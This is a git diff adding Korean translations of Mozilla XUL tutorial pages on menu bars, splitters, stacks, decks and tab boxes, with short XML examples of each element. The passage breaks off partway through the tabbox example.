다음에는 XUL 요소에 이벤트 핸들러를 지정하는 방법에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/simple_menu_bars/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/simple_menu_bars/index.html new file mode 100644 index 0000000000..2ba8d57bcf --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/simple_menu_bars/index.html @@ -0,0 +1,160 @@ +--- +title: Simple Menu Bars +slug: Mozilla/Tech/XUL/XUL_Tutorial/Simple_Menu_Bars +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Simple_Menu_Bars +--- +

 

+ +

+

« 이전다음 »

+

+ +

이번 단원에서는 메뉴를 포함하는 메뉴바의 작성 방법에 대해 알아보겠습니다.

+ +

메뉴 만들기

+ +

XUL에는 메뉴를 만들 수 있는 여러가지 다양한 방법이 있습니다. 가장 기본적인 방식은 많은 응용프로그램이 그러하듯이 메뉴들을 포함하는 메뉴바를 추가하는 방법이며, 또한 팝업 메뉴도 만들 수 있습니다. XUL의 메뉴 기능은 메뉴바나 팝업 메뉴를 만들 수 있는 여러가지 요소들로 구성되어 있습니다. 메뉴에 있는 항목들은 쉽게 커스터마이징 할 수 있습니다. 우리는 이미 menulist를 사용해서 메뉴를 만드는 방법을 살펴보았습니다. 이 단원은 이 내용을 기반으로 진행될 것입니다.

+ +

메뉴바는 대개 툴바와 비슷한 방법으로 작성됩니다. 메뉴바는 toolbox 요소 내부에 위치할 수 있으며, 메뉴바의 왼쪽에 이를 닫을 수 있는 그리피가 나타납니다(주의: Firefox에서는 더 이상 그리피를 지원하지 않습니다). 메뉴는 툴바와 작동방식도 비슷합니다. XUL은 메뉴에만 특별한 몇 가지 요소를 가지고 있습니다.

+ +

메뉴바와 메뉴의 작성과 관련된 4가지 요소가 있으며, 여기서는 간략하게 다루고 진행하면서 자세히 다루겠습니다.

+ +
+
menubar
+
메뉴들의 컨테이너.
+
+ +
+
menu
+
이름과 달리, 실제로는 메뉴바에 있는 메뉴의 제목을 나타낼 뿐입니다. 이 요소는 메뉴바 내에 위치하거나 독립적으로 위치할 수 있습니다.
+
+ +
+
menupopup
+
메뉴 제목을 클릭하였을 때 나타나는 팝업 상자입니다. 이 상자는 메뉴 명령 목록을 포함합니다.
+
+ +
+
menuitem
+
메뉴의 개별 명령으로 menupopup에 위치합니다.
+
+ +
+
menuseparator
+
메뉴의 구분 막대로 menupopup에 위치합니다.
+
+ +
+

맥킨토시를 제외한 모든 플랫폼에서 원하는 대로 메뉴바에 있는 메뉴를 변경할 수 있습니다. 이것은 메킨토시에는 시스템에 의해 화면 상단을 따라 자신만의 메뉴를 만들기 때문입니다. 여러분은 커스텀 메뉴를 만들 수는 있지만, 메뉴에 적용한 특별한 서식 규칙이나 비(非)-메뉴 요소는 적용되지 않을 수 있습니다. 메뉴를 만들 때 이 점을 염두에 두어야 합니다.

+
+ +
간단한 메뉴바 예제
+ +

예제 1 : Source View

+ +
Image:menubar-ex1.png
+ +
<toolbox flex="1">
+  <menubar id="sample-menubar">
+    <menu id="file-menu" label="File">
+      <menupopup id="file-popup">
+        <menuitem label="New"/>
+        <menuitem label="Open"/>
+        <menuitem label="Save"/>
+        <menuseparator/>
+        <menuitem label="Exit"/>
+      </menupopup>
+    </menu>
+    <menu id="edit-menu" label="Edit">
+      <menupopup id="edit-popup">
+        <menuitem label="Undo"/>
+        <menuitem label="Redo"/>
+      </menupopup>
+    </menu>
+  </menubar>
+</toolbox>
+
+ +

위 예제에서는 menubar 요소를 사용해서 간단한 메뉴바와 메뉴바에 위치한 메뉴들을 만들었습니다. 여기서는 File과 Edit 2개 메뉴가 작성되었습니다. menu 요소는 메뉴상단에 제목을 만들며, 메뉴바에 나타납니다. 팝업은 menupopup 요소를 사용하여 만들어집니다. 팝업은 사용자가 이의 부모 메뉴 제목을 클릭할 때 튀어나오게 됩니다. 팝업의 크기는 팝업에 포함된 명령에 맞게 충분히 크게 나타납니다. 명령 자체는 menuitem를 사용해서 만들어집니다. 각 menuitem은 메뉴 팝업에서 하나의 명령을 나타냅니다.

+ +

menuseparator 요소를 사용해서 메뉴에 구분자를 만들 수도 있습니다. 이것은 menuitem 그룹들을 나눌 때 사용됩니다.

+ + + +

menubar는 메뉴를 담는 상자입니다. 메뉴바가 flex 속성을 갖는 toolbox 내부에 위치하고 있다는 점을 주의깊게 보시기 바랍니다. 메뉴바는 특별한 속성을 가지지는 않지만 상자 유형에 속합니다. 이것은 orient 속성값을 vertical로 하면 세로 방향의 메뉴바를 만들 수 있다는 것을 의미합니다.

+ + + +

menu 요소는 button 요소와 비슷하게 동작합니다. menu 요소는 button과 몇 가지 동일한 속성을 가지며 그 외 추가적인 속성을 포함합니다.

+ +
+
id
+
메뉴의 유일 식별자.
+
+ +
+
label
+
File 또는 Edit와 같은 메뉴에 나타나는 텍스트.
+
+ +
+
disabled
+
이 불린(boolean) 속성은 메뉴 사용여부를 결정합니다. 할 수는 있지만, 전체 메뉴를 사용 중지할 필요는 극히 드뭅니다. 이 속성은 true 또는 false 중 한가지 값을 가집니다. 물론, 기본값은 후자입니다.
+
+ +
+
accesskey
+
이 속성은 사용자가 메뉴 항목을 활성화하기 위해 누를 수 있는 키입니다. 이 문자는 대개 메뉴 제목에 밑줄이 그어진 문자로 출력됩니다. Mozilla는 label 속성을 검토해서 여기에 지정된 문자를 찾아 밑줄을 추가합니다. 그렇기 때문에 라벨 텍스트에 있는 문자 중 하나를 이 속성으로 지정하는 것이 좋습니다. 물론 여기에 지정한 문자가 라벨 텍스트에 없더라도 동작합니다.
+
+ +
Image:menubar-ex2.png
+ +

꼭은 아니지만, menu 요소는 보통 menubar에 위치합니다. 만약 menubar에 포함되어 있지 않으면 다른 형태로 출력됩니다. 여기에 있는 그림은 메뉴바가 없는 경우 앞서의 예제가 어떤 모습이 되는지 보여주고 있습니다.

+ + + +

menupopup 요소는 메뉴 명령들을 포함하는 팝업창을 만듭니다. 이 요소는 세로 방향을 기본으로 하는 상자입니다. 원할 경우 가로 방향으로 바꿀 수 있으며, 그렇게 하면 menuitem들은 행으로 위치하게 됩니다. 일반적으로 menuitemmenuseparatormenupopup에 위치합니다. 여려분은 menupopup에 어떤 요소든 넣을 수 있지만, 앞서 말한바와 같이 맥킨토시에서는 무시될 것입니다.

+ + + +

menuitem 요소는 menu 요소와 아주 비슷하며 일부 동일한 속성들을 가지고 있습니다.

+ +
+
id
+
메뉴 제목버튼의 유일 식별자.
+
+ +
+
label
+
Open 또는 Save같은 메뉴 항목에 나타날 텍스트.
+
+ +
+
disabled
+
이 불린(boolean) 속성은 메뉴 사용여부를 결정합니다. 이 속성은 true 또는 false 중에서 하나의 값으로 지정될 수 있으며 후자가 기본값입니다.
+
+ +
+
accesskey
+
이 속성은 사용자가 메뉴 항목을 활성화하기 위해 누를 수 있는 키입니다. 이 문자는 대개 메뉴제목에 밑줄이 그어진 문자로 출력됩니다. Mozilla는 label 속성을 검토해서 여기에 지정한 문자를 찾아 밑줄을 추가합니다. 그렇기 때문에 라벨 텍스트에 있는 문자 중 하나를 이 속성으로 지정하는 것이 좋습니다.
+
+ +
+
acceltext
+
이것은 메뉴 명령글 옆에 표시될 단축키 텍스트를 지정합니다. 그렇다고 해당 단축키와 menuitem을 바로 연결하는 것은 아닙니다(이 속성을 지정한다고 단축키를 눌렀을때 해당 메뉴가 실행되는 것은 아닙니다). 이 방법에 대해서는 이후에 다룰 것이다.
+
+ + + +

menuseparator에는 특별한 속성이 없습니다. 단지 메뉴 항목들 사이에 가로막대를 만들 뿐입니다.

+ +

다음 단원에서는 다양한 메뉴 기능들에 대해 알아 보겠습니다.

+ +

+

« 이전다음 »

+

+ +

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/splitters/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/splitters/index.html new file mode 100644 index 0000000000..796b8fcb52 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/splitters/index.html @@ -0,0 +1,139 @@ +--- +title: Splitters +slug: Mozilla/Tech/XUL/XUL_Tutorial/Splitters +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Splitters +--- +

+

« 이전다음 »

+

+ +

이번 단원에서는 splitter를 창에 추가하는 방법에 대해 알아보겠습니다.

+ +

상자 나누기

+ +

하나의 창 안에 사용자가 크기를 변경할 수 있는 2개 영역이 있었으면 할 때가 있습니다. Mozilla 브라우저 창이 이러한 예로, 브라우저 창에서는 메인 영역과 사이드바 패널 프레임 사이에 있는 막대를 드래그 해서 사이드바 패널의 크기를 조정할 수 있습니다. 또한 빗살대(notch)를 클릭해서 사이드바를 숨길 수도 있습니다.

+ +

Splitter 요소

+ +

이러한 기능은 splitter라는 요소를 사용하여 구현할 수 있습니다. 이 요소는 2개 영역 사이에 좁은 막대를 만들어서 영역의 크기를 변경할 수 있게 해 줍니다. Splitter 요소는 넣고 싶은 곳 아무데서나 사용할 수 있으며, 동일한 상자 내에서 splitter 앞에 오는 요소와 다음에 오는 요소의 크기를 변경할 수 있습니다.

+ +

Splitter가 가로상자 내부에 사용되면 가로 방향으로, 세로상자 내부에 사용되면 세로 방향으로 크기를 변경할 수 있게 해 줍니다.

+ +

Splitter 구문은 다음과 같습니다:

+ +
<splitter
+    id="identifier"
+    state="open"
+    collapse="before"
+    resizebefore="closest"
+    resizeafter="closest">
+
+ +

속성은 다음과 같습니다.

+ +
+
id
+
splitter 유일 식별자.
+
+ +
+
state
+
splitter의 상태를 나타냅니다. 기본값은 open으로 이값을 설정하면 기본적으로 열린 상태가 되며, collapsed로 설정하면 패널 중 하나는 닫힌 상태가 되어 다른 쪽이 나머지 공간을 차지하는 상태로 출력됩니다.
+
+ +
+
collapse
+
이 속성은 splitter의 빗살대(또는 그리피(grippy))를 클릭하거나 닫힘 상태로 설정하였을 경우, 패널의 어느 면이 닫히게 될지를 지정합니다. 이 속성값을 before로 설정하면 splitter 앞에 오는 요소가 닫히게 되며, after로 설정하면 splitter 다음에 오는 요소가 닫히게 됩니다. 만일 기본값인 none으로 설정하면, 그리피를 클릭하더라도 패널은 닫히지 않습니다.
+
+ +
+
resizebefore
+
Splitter를 드래그하면, splitter의 왼쪽(혹은 위쪽)에 있는 요소들은 크기가 변하게 됩니다. 이 속성은 왼쪽(혹은 위쪽)에 있는 요소들 중 어떤 요소의 크기가 변하게 될지를 지정합니다. 이 속성값을 closest로 설정하면 splitter의 바로 왼쪽에 있는 요소의 크기가 변경됩니다. 반면, farthest로 설정하면 splitter의 왼쪽에 있는 요소들 중 가장 멀리있는 요소의 크기를 변경하게 됩니다(상자 내 첫번째 요소). 기본값은 closest 입니다.
+
+ +
+
resizeafter
+
Splitter를 드래그하면, splitter의 오른쪽(혹은 아래쪽)에 있는 요소들은 크기가 변하게 됩니다. 이 속성은 오른쪽(혹은 아래쪽)에 있는 요소들 중 어떤 요소의 크기가 변하게 될지를 지정합니다. 이 속성값을 closest로 설정하면 splitter의 바로 오른쪽에 있는 요소의 크기가 변경됩니다. 반면, farthest로 설정하면 splitter의 오른쪽에 있는 요소들 중 가장 멀리있는 요소의 크기를 변경하게 됩니다(상자 내 마지막 요소). 이 속성은 grow값을 가질 수도 있는데, 이것은 splitter를 드래그하더라도 오른쪽에 있는 요소들의 크기가 변경되지 않도록 하며, 대신 이들을 포함하는 전체 상자의 크기가 변경됩니다. 기본값은 closest입니다.
+
+ +

Splitter에 collapse 속성을 설정하였다면 사용자가 해당 요소를 닫을 수 있도록 grippy 요소도 추가해 주는 것이 좋습니다. Firefox 브라우저에서는 grippy 요소를 지원하지 않습니다. 따라서 해당 요소를 splitter 요소에 넣더라도 출력되지 않으며, splitter를 클릭하더라도 한번에 닫히지 않습니다.

+ +

Splitter 예제

+ +

다음 예제를 보면 도움이 될 것입니다.

+ +

예제 1 : Source View

+ +
<hbox flex="1">
+  <iframe id="content-1" width="60" height="20" src="w1.html"/>
+  <splitter collapse="before" resizeafter="farthest">
+    <grippy/>
+  </splitter>
+  <iframe id="content-2" width="60" height="20" src="w2.html"/>
+  <iframe id="content-3" width="60" height="20" src="w3.html"/>
+  <iframe id="content-4" width="60" height="20" src="w4.html"/>
+</hbox>
+
+ +
Image:splitter-ex1.jpg
+ +

예제에서는 4개의 iframe이 생성되어 있으며 splitter는 첫 번째와 두 번째 사이에 위치하고 있습니다. collapse 속성에는 before값이 설정되어 있으며, 이것은 그리피를 클릭하면 첫 번째 프레임이 사라지고 나머지 프레임들이 왼쪽으로 이동하게 된다는 것을 의미합니다. 그리피는 splitter 내 중앙에 그려집니다.

+ +

splitter의 resizeafter 속성 값은 farthest로 설정되어 있습니다. 이것은 splitter를 드래그하면 splitter 다음에 위치한(그림에서는 오른쪽) 요소들 중 가장 멀리있는 요소의 크기가 변경된다는 것을 의미합니다. 이 경우 4번 프레임의 크기가 변경됩니다.

+ +

resizebefore 속성의 값은 지정하지 않았기 때문에 기본값인 closest로 지정됩니다. 위의 예제에서는, splitter 앞에 하나의 프레임밖에 없기 때문에, 1번 프레임의 크기가 변하게 됩니다.

+ +

2번과 3번 프레임은 4번 프레임이 최소크기가 될 때까지 드래그 한 이후에 크기가 변경됩니다.

+ +
Image:splitter-ex2.jpg
+ +

그림은 splitter가 닫힌 상태인 4개 패널 모습입니다.

+ +
Image:splitter-ex3.jpg
+ +

그림은 splitter가 오른쪽으로 크기를 변경한 상태의 패널 모습입니다. 주목해야할 점은 중간의 2개 패널은 크기가 변하지 않았다는 것입니다. 1번과 4번 패널만 크기가 바뀌었습니다. 4번째 패널을 보면 알 수 있습니다. splitter를 오른쪽으로 계속해서 드래그하면, 다른 2개의 패널이 오그라들게 됩니다.

+ +

상자에서의 최소 또는 최대 너비를 지정하기 위해 iframe에 min-width, max-height 같은 스타일 속성을 사용할 수 있습니다. 그럴 경우, splitter가 이를 감지하여 최소와 최대크기를 넘어서 끌기할 수 없게 해 줍니다.

+ +

예를 들어, 4번 패널에 최소 넓이를 30픽셀로 지정했다면, 그 이하 크기로 줄지않게 됩니다. 그 외 다른 2개 패널은 줄어들게 될 것입니다. 만약 1번 패널의 최소넓이를 50픽셀로 설정했다면, splitter를 오른쪽으로 10픽셀 드래그 할 수 있을 것입니다(왜냐하면 60픽셀 넓이로 시작했기 때문입니다). 그렇다 하더라도 여전히 splitter를 닫을 수는 있습니다.

+ +

원할 경우 상자에 하나 이상의 splitter를 사용할 수도 있는데, 이 경우 splitter의 다른 부분을 닫을 수있습니다. 마찬가지로 iframe 뿐만 아니라 어떠한 요소든 닫을 수 있습니다.

+ +

우리의 파일 찾기 예제

+ +
+

파일 찾기 대화창에 splitter를 사용하였을 경우 어떠한 모양이 될지 알아 봅시다. 한 가지는 대화창에 검색결과를 추가하려는 것입니다. 우리는 검색 조건과 아래의 버튼들 사이에 공간을 추가할 것입니다. 여러분은 splitter를 이용해 검색결과를 닫거나 감출 수 있을 것입니다.

+ +
</tabbox>
+
+ <iframe src="results.html"/>
+ <splitter resizeafter="grow"/>
+
+ <hbox>
+
+ +

여기에 보면, splitter와 iframe이 대화창에 추가되었습니다. tabbox 뒤에 있던 spacer는 더 이상 필요없기 때문에 이를 삭제할 수 있습니다. 프레임의 내용은 '<tt>results.html</tt>'이라는 파일에 포함되어 있습니다. 지금은 이 파일을 만들어서 아무거나 입력을 하시면 됩니다. iframe은 결과 목록을 만드는 방법에 대해 알게되는 시점에 결과 목록으로 대체될 것입니다. 지금은 splitter를 설명하기 위한 목적으로만 사용하는 것입니다.

+ +

splitter의 collapse 속성에는 splitter 앞에 오는 요소를 닫는다는 의미의 before값이 설정되어 있으며, 여기서는 iframe이 이에 해당됩니다. 아래 보이는 그림에서처럼 그리피를 클릭하면 iframe이 닫히고 버튼이 위로 움직이게 됩니다.

+ +

resizeafter 속성에는 grow값이 설정되어 있어 splitter 아래의 요소들은 splitter를 아래로 드래그 하면 아래로 밀려가게 됩니다. 결과적으로 프레임의 내용은 어떠한 방향으로든 커질 수 있는 것입니다. 주의할 점은 창의 크기가 자동으로 변경되지는 않는다는 것입니다. 그리고, 세로상자 안에 splitter가 포함되어 있어, 예제에서는 가로 방향 splitter가 된다는 것을 유념해 보기 바랍니다.

+ +

일반 상태:

+ +

Image:splitter1.png

+ +

닫힌 상태:

+ +

Image:splitter2.png

+ +

지금까지의 파일 찾기 예제 : Source View

+
+ +

다음에는 스크롤바를 만드는 방법에 대해 알아보겠습니다.

+ +

+

« 이전다음 »

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/stack_positioning/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/stack_positioning/index.html new file mode 100644 index 0000000000..c237926ae8 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/stack_positioning/index.html @@ -0,0 +1,35 @@ +--- +title: Stack Positioning +slug: Mozilla/Tech/XUL/XUL_Tutorial/Stack_Positioning +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Stack_Positioning +--- +

 

+

+

« 이전다음 »

+

+

이 단원에서는 스택 내에 있는 요소들의 위치를 지정하는 방법에 대해 알아보겠습니다.

+

스택 내 자식 요소의 위치

+

일반적으로 stack의 자식 요소는 스택의 크기에 맞추어 늘어납니다. 그러나 여려분은 특정 좌표에 자식 요소를 배치할 수도 있습니다. 예를 들어, 스택에 두개의 자식 버튼이 있다면, 첫번째 버튼은 좌측에서 20픽셀 그리고 상단에서는 50픽셀 떨어진 곳에, 두번째 버튼은 좌측에서 100픽셀 그리고 상단에서 5픽셀 떨어진 곳에 위치시킬 수 있습니다.

+

자식 요소의 위치는 요소에 두 가지 속성을 사용해서 지정할 수 있습니다. 가로 위치의 경우 left 속성을 사용하고 세로위치는 top속성을 사용합니다. 스택의 자식에 이들 속성을 사용하지 않으며, 해당 자식들은 stack 크기에 맞쳐 늘어나게 됩니다.

+

예제 1 : Source View

+
+ Image:bulletins1.png
+
<stack>
+  <button label="Goblins" left="5" top="5"/>
+  <button label="Trolls" left="60" top="20"/>
+  <button label="Vampires" left="10" top="60"/>
+</stack>
+
+

여기서 stack은 3가지 요소를 포함하고 있는데, 각 요소들에 lefttop 속성이 지정되어 있어 그림과 같이 위치하고 있습니다. 예제에서 3가지 자식 요소가 모두 버튼이지만, 요소들이 모두 같은 형식일 필요는 없습니다. 그것은 상자와 다른 스택을 포함해서 어떤 요소든 될 수 있습니다.

+

stack의 크기는 자식 요소의 위치에 의해 결정됩니다. 즉, 모든 자식 요소가 볼 수 있도록 항상 크기가 조정됩니다. 따라서 left 속성을 400으로 설정했으면, 스택은 해당 요소의 넓이에 400픽셀을 더한 정도의 너비를 가지게 됩니다. widthmax-width 같은 여러 스타일 속성을 사용해서 이 크기를 재정의할 수 있습니다.

+

여러분은 스크립트를 사용해서 lefttop 속성 값을 조정할 수 있으며, 요소를 이동하게 만들 수 있습니다. 스택은 절대위치값을 가지는 요소가 위치를 바꿀 때, 다른 요소의 위치에는 영향을 주지 않는다는 장점이 있습니다. 보통 상자에서는 요소의 위치를 옮기면, 다른 요소의 위치가 섞이게 됩니다.

+

자식 요소가 겹쳐질 수 있도록 하는 것 역시 가능합니다. 자식 요소들이 그려질 때는, stack에 나타난 순서대로 보이게 됩니다. 즉, stack의 첫 번째 자식이 맨 뒤에 나타나고, 다음 자식 요소는 그 위에 나타나고, 마지막 요소는 최상위에 오게 됩니다. 해당 요소의 순서를 옮기기 위해 DOM 함수를 이용할 수 있습니다.

+

마우스 이벤트에 응답하는 경우, 상위에 있는 요소가 해당 이벤트를 먼저 인식하게 됩니다. 이것은 두 개의 버튼이 겹쳐있을 경우, 다른 버튼을 덮고 있는 상위 버튼이 마우스 클릭을 인식하게 된다는 것을 의미합니다.

+

다음 섹션에서는 덱과 비슷하지만 고유한 네비게이션 방법을 제공하는 탭박스에 대해 설명하겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/stacks_and_decks/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/stacks_and_decks/index.html new file mode 100644 index 0000000000..76e39325c6 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/stacks_and_decks/index.html @@ -0,0 +1,61 @@ +--- +title: Stacks and Decks +slug: Mozilla/Tech/XUL/XUL_Tutorial/Stacks_and_Decks +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Stacks_and_Decks +--- +

 

+

+

« 이전다음 »

+

+

여러분은 여러 요소를 카드를 쌓아 올리듯이 표시해야 할 때가 있을 수도 있습니다. 스택(stack)과 덱(deck) 요소를 이런 용도로 사용하실 수 있습니다.

+

컨테이너(containers)

+

XUL의 모든 상자 요소는 다른 요소를 포함할 수 있는 개체입니다. 툴바탭패널처럼 특수화된 상자도 여러 가지가 있습니다. box 태그는 아무런 특징이 없는 가장 단순한 상자를 만듭니다. 하지만 특수화된 상자들은 일반 상자처럼 내부의 요소들을 배치하는 것 외에 다른 기능들도 가지고 있습니다.

+

실제로 여러 가지 구성 요소들은 다른 요소를 포함할 수 있습니다. 우리는 앞에서 버튼이 다른 요소를 포함하는 것을 살펴 보았습니다. 스크롤바는 여러분이 지정하지 않아도 필요한 요소를 만드는 특수화된 상자입니다. 그리고 막대가 이동하는 것도 스스로 제어합니다.

+

앞으로 몇 단원에 걸쳐 다른 요소를 포함하는 요소들에 대해 알아 볼 것입니다. 그들은 모두 특수화된 상자로서 상자의 모든 속성을 사용할 수 있습니다.

+

스택(stack)

+

Stack 요소는 단순한 상자입니다. 일반 상자와 똑같이 작동하지만 자식 요소를 아래에서부터 쌓는 특징을 가지고 있습니다. 첫 번째 자식 요소가 바닥에 표시되고, 두 번째 자식 요소가 그 위에, 그리고 세 번째 자식 요소가 그 위에 표시되는 방식입니다. 쌓아 올릴 수 있는 요소의 수에는 제한이 없습니다.

+

스택은 자식 요소가 나란히 표시되는 상자와 달리, 아래에서부터 위로 쌓이기 때문에 orient 속성의 의미가 없습니다. 스택의 크기는 가장 큰 자식 요소에 의해 결정되지만 스택과 그 자식 요소에 width, height, min-width 등의 CSS 속성을 사용할 수도 있습니다.

+

stack 요소는 기존의 요소 위에 상태를 표시하는 개체를 표시하고 싶을 때 사용할 수도 있습니다. 예를 들어, 상태바를 막대와 그 위에 중첩된 라벨로 만들 수도 있습니다.

+

스택을 이용해서 그림자 효과 주기

+

또한 stack을 사용하여 손쉽게 많은 CSS 속성을 흉내낼 수 있습니다. 아래는 text-shadow 속성과 비슷한 효과를 내는 예제입니다.

+

예제 1 : Source View

+
<stack>
+  <description value="Shadowed" style="padding-left: 1px; padding-top: 1px; font-size: 15pt"/>
+  <description value="Shadowed" style="color: red; font-size: 15pt;"/>
+</stack>
+
+
+ Image:stacks1.png
+

두 개의 description은 15포인트 크기의 문자열을 생성합니다. 하지만 첫 번째 것은 왼쪽과 위쪽에 여백을 주어 1픽셀씩 오른쪽과 아래쪽으로 밀려나게 하였습니다. 그래서 똑같이 'Shadowed'란 문자열을 표시하지만 두 번째 것과 조금 위치가 다릅니다. 두 번째 description 요소는 빨간색으로 표시되기 때문에 효과를 쉽게 알아 볼 수 있습니다.

+

이 방법이 text-shadow보다 좋은 이유는 그림자를 원하는 대로 꾸밀 수 있기 때문입니다. 예를 들어 그림자를 다른 글꼴과 크기로 표시하거나 밑줄을 그을 수도 있습니다. (깜빡이는 효과도 줄 수 있습니다). 게다가 아직까지 Mozilla는 CSS의 text-shadow를 지원하지 않고 있습니다. 단점은 그림자가 차지하는 공간 때문에 스택의 크기가 커진다는 것입니다. 그림자 효과는 사용 불가 버튼을 표시할 때 매우 유용합니다.

+

예제 2 : Source View

+
<stack style="background-color: #C0C0C0">
+  <description value="Disabled" style="color: white; padding-left: 1px; padding-top: 1px;"/>
+  <description value="Disabled" style="color: grey;"/>
+</stack>
+
+

이렇게 하면 사용 불가능한 것처럼 보입니다.

+

한 가지 주의할 점은 마우스 클릭과 키 누름 같은 이벤트는 가장 위의 요소 즉, 스택의 마지막 요소에만 적용된다는 것입니다. 이는 버튼이 스택의 마지막 요소일때만 제대로 동작한다는 것을 의미합니다.

+

덱(decks)

+

deck 요소는 stack처럼 자식 요소들을 쌓아 놓지만 한 번에 하나의 자식 요소만 표시하는 요소입니다. 덱은 유사한 여러 판넬이 순차적으로 표시되는 마법사 인터페이스를 만들 때 유용하게 사용할 수 있습니다. 개별 창을 만들고 각 창에 네비게이션 버튼을 만드는 것보다, 하나의 창에서 내용이 변하는 곳에 덱을 사용하는 것이 보다 편리합니다.

+

스택에서처럼 deck의 바로 아래 자식 요소들은 덱의 한 쪽(page)이 됩니다. deck의 자식 요소가 세 개라면 덱은 세 쪽을 갖고 있는 셈입니다. 화면에 나타나는 쪽은 selectedIndex 속성을 이용하여 조절할 수 있습니다. 인덱스는 표시하고 싶은 쪽에 해당하는 번호입니다. 쪽의 번호는 0부터 시작하기 때문에 덱의 첫 번째 자녀 요소는 0, 두 번째는 1의 순서가 됩니다.

+

예제 3 : Source View

+
<deck selectedIndex="2">
+  <description value="This is the first page"/>
+  <button label="This is the second page"/>
+  <box>
+    <description value="This is the third page"/>
+    <button label="This is also the third page"/>
+  </box>
+</deck>
+
+

예제에는 세 쪽이 있는데 기본적으로 표시되는 것은 세 번째 쪽입니다. 세 번째 쪽은 두 개의 요소를 포함하는 상자입니다. 상자와 그 안의 요소들이 쪽을 구성합니다. 덱의 크기는 가장 큰 자식 요소의 크기와 같기 때문에 여기서는 세 번째 자식 요소의 크기가 덱의 크기가 됩니다.

+

여러분은 스크립트를 사용하여 selectedIndex의 값을 변경하면 표시되는 쪽을 바꿀 수 있습니다. 이에 대해서는 이벤트와 DOM에 대한 단원에서 좀더 알아 보도록 하겠습니다.

+

다음 섹션에서는 자식 요소의 위치를 지장하기 위해 어떻게 스택을 사용할 수 있는지에 대해 설명하겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/tabboxes/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/tabboxes/index.html new file mode 100644 index 0000000000..74de7d0cb8 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/tabboxes/index.html @@ -0,0 +1,159 @@ +--- +title: Tabboxes +slug: Mozilla/Tech/XUL/XUL_Tutorial/Tabboxes +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Tabboxes +--- +

+

« 이전다음 »

+

+ +

환경설정 대화창은 탭을 사용하여 나타내는 것이 일반적입니다. 본 섹션에서는 탭 패널의 작성 방법에 대해 알아보겠습니다.

+ +

탭상자

+ +

탭상자는 환경설정 창에서 자주 사용됩니다. 일련의 탭들이 창의 상단부에 표시되며, 사용자는 서로 다른 선택사항들을 보기 위해 각각의 탭을 클릭할 수 있습니다. 이 기능은 선택 사항들을 한 화면에 다 담을 수 없을 때 유용하게 사용될 수 있습니다.

+ +

XUL에서도 이러한 대화창을 구현할 수 있는 방법을 제공합니다. 이를 위해서는 다섯 개의 요소에 대해 먼저 알아야 하는데 여기서는 각 요소들에 대해 대략적으로 설명하고 상세한 내용은 아래에서 설명하도록 하겠습니다.

+ +
+
tabbox
+
탭과 탭 페이지를 포함하는 외부 상자입니다.
+
tabs
+
각 탭을 포함하는 내부 상자로 다시 말하면 탭을 포함하는 행을 나타냅니다.
+
tab
+
개별 탭을 나타내며 탭을 클릭하면 탭 페이지가 전면에 표시됩니다.
+
tabpanels
+
여러 개의 탭 페이지를 포함하는 요소입니다.
+
tabpanel
+
단일 탭 페이지를 나타내며 실제 내용들이 위치하게 됩니다. 첫 번째 tabpanel은 첫 번째 탭에 해당하고, 두 번째 tabpanel은 두 번째 탭에 해당하는 식입니다.
+
+ +

tabbox는 최외곽 요소로 탭을 포함하는 tabs요소와 각 탭 페이지을 포함하는 tabpanels 요소로 구성됩니다.

+ +

다음은 탭상자의 일반적인 구문입니다.

+ +
<tabbox id="tablist">
+  <tabs>
+    <!-- tab elements go here -->
+  </tabs>
+  <tabpanels>
+    <!-- tabpanel elements go here -->
+  </tabpanels>
+</tabbox>
+
+ +

tab 요소들은 일반 상자와 비슷한 tabs 요소 안에 놓입니다. 그리고 tabs 요소 자신은 tabbox 안에 놓이게 됩니다. 또한 tabboxtabpanels 요소를 포함하는데 이는 탭 상자의 수직 정렬 속성에 따라 탭의 아래에 표시됩니다.

+ +

실제로 탭 상자는 일반 상자와 별반 다른 게 없습니다. 상자와 마찬가지로 탭 또한 어떤한 요소든 포함할 수 있습니다. 다른 점이 있다면 모양이 조금 다르고 deck처럼 한번에 하나의 탭 패널 밖에 표시되지 않는다는 것입니다.

+ +

각 탭 페이지의 내용은 tabpanel에 포함됩니다. tab에 포함된다고 생각하기 쉽지만, tab은 상단에 표시되는 탭의 내용을 포함하는 요소입니다.

+ +

tabpanel 요소는 하나의 탭 페이지를 나타냅니다. 첫 번째 패널은 첫 번째 탭에, 두 번째 패널은 두 번째 탭에 대응됩니다. 따라서 tabtabpanel 사이에는 일대일 대응 관계가 성립합니다.

+ +

tabbox의 크기는 가장 큰 탭 페이지의 크기에 의해 결정됩니다. 예를 들어 한 탭 페이지에 열 개의 글상자가 있고 다른 탭 페이지에는 하나의 글상자 밖에 없다고 하면, 탭 페이지의 크기는 가장 많은 공간을 차지하는 열 개의 글상자를 가진 탭 페이지의 크기에 맞춰진다는 것을 의미합니다. 사용자가 다른 탭을 선택해도 탭 영역의 크기는 변하지 않습니다.

+ +

탭상자 예제

+ +

예제 1 : Source View

+ +
Image:tabpanel1.png
+ +
<tabbox>
+  <tabs>
+    <tab label="Mail"/>
+    <tab label="News"/>
+  </tabs>
+  <tabpanels>
